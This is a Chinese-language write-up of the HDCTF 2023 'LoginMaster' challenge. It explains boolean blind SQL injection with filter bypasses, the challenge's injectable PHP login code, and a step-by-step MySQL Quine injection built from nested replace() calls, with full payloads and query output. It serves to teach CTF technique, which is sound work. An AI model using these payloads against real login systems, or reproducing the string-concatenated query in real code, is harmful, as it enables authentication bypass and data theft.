SQL注入之Quine
总结一下几天前的比赛。
[HDCTF 2023]LoginMaster
用户名给定admin,注入点在password。
过滤了空格,password=0'/**/or/**/1#有回显差异。尝试用布尔盲注,过滤了substr用mid代替,过滤了=用like代替。
爆破得到库名,尝试报表。过滤information,测试sys.schema_auto_increment_columns、sys.schema_table_statistics_with_buffer、mysql.innodb_table_stats,只有sys.schema_table_statistics_with_buffer没有过滤,但查询这个表没有任何匹配,怀疑此表并不存在。
猜测爆破表user字段password,出了结果,但是密码只有两个。构造password=0'/**/or/**/mid(password)/**/like/**/'1'#,尝试直接匹配查询出来的password,得到结果04340343a018616055307f3b205c82b0,以此作为密码输入但是不对。
猜测爆破表user字段username,有三个用户,admin密码为空。
至此游戏结束。
背后发生了什么
当时比较困惑的有两个:一个是后端逻辑是怎么做判断的;一个是直接匹配查询出来的password是哪里的数据。
后端代码
从出题师傅那里拿到了这道题的源码,判断部分的代码如下:
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
获得flag要使sql查询出来的$row['password']与输入的$password相等,而admin的password为空,如果输入空的password就会被第一个判断拦下。
所以要构造一个查询出的结果,与输入的查询语句相同的sql查询。
反引号查询
在有了题目数据库的结构后,这个问题也明了了。


password这个反引号包裹的password返回的是user表的这个列,在这个匹配中mid(password,1,1)='a'只要这一列有满足要求的条目,就会返回这个条目。
因此,04340343a018616055307f3b205c82b0其实是两个password条目的组合。所以只有在数据库只有一条记录时,这个方法才能在不知道表名的情况下查到对应的字段内容。
Quine注入
MySQL 的 Quine 注入是一种自我复制的 SQL 注入攻击。Quine 是一种特殊类型的计算机程序,它的输出是其自身的源代码。类似地,Quine 注入是一种 SQL 注入攻击,它可以在被执行后生成与原始攻击相同的代码。
在这里我们要SELECT password FROM users WHERE username='admin' and password='$password';查询的结果,与输入的$password相同,该如何操作呢?
首先想到这里应该要构造一个联合查询的格式,因为这样在password判断失败的情况下,可以返回我们查询的结果。
这里构造 Quine 注入用到的是 replace 函数,replace 函数的用法也非常简单。
# 它会在 str 中寻找 old_str 子串,用 new_str 来替换 old_str
replace(str, old_str, new_str)
构造 Quine 的起点:replace('replace(".", char(46), ".")', char(46), 'replace(".", char(46), ".")'),其中的char(46)就是.,执行效果如下:
mysql> select replace('replace(".", char(46), ".")', char(46), 'replace(".", char(46), ".")');
+---------------------------------------------------------------------------------+
| replace('replace(".", char(46), ".")', char(46), 'replace(".", char(46), ".")') |
+---------------------------------------------------------------------------------+
| replace("replace(".", char(46), ".")", char(46), "replace(".", char(46), ".")") |
+---------------------------------------------------------------------------------+
这一过程究竟发生了什么?因为最后发生变化的是第一个字符串,其中会被替换的.用红色标出,替换用的字符串用蓝色标出:
replace(".", char(46), ".")
replace(".", char(46), ".")
replace("replace(".", char(46), ".")", char(46), "replace(".", char(46), ".")")
清晰许多了,结果也很相似。但是我们注意到,在构造查询的时候。闭合字符串用的单引号,与闭合.的双引号必须是不同的。而替换后原来字符串闭合.的双引号,又变到了闭合字符串的位置。这就导致了一些差别。
下面的构造语句为:replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
mysql> mysql> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
分析下这个查询的过程:
replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39))
replace(replace('.',char(34),char(39)),char(46),'.')
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')
通过总结,Quine注入的构造格式可以是:
replace(replace('str',char(34),char(39)), char(46), 'str')
而str的基本格式,就是上面这个Quine格式中的str换成.,再将'换成"
replace(replace(".",char(34),char(39)), char(46), ".")
select password from users where username='admin' and password='1' union select replace(replace('str',char(34),char(39)), char(46), 'str');
1' union select replace(replace('str',char(34),char(39)), char(46), 'str');
1" union select replace(replace(".",char(34),char(39)), char(46), ".")
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)), char(46), ".")',char(34),char(39)), char(46), '1" union select replace(replace(".",char(34),char(39)), char(46), ".")');
mysql> select password from users where username='admin' and password='1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)), char(46), ".")',char(34),char(39)), char(46), '1" union select replace(replace(".",char(34),char(39)), char(46), ".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| password |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)), char(46), ".")',char(34),char(39)), char(46), '1" union select replace(replace(".",char(34),char(39)), char(46), ".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)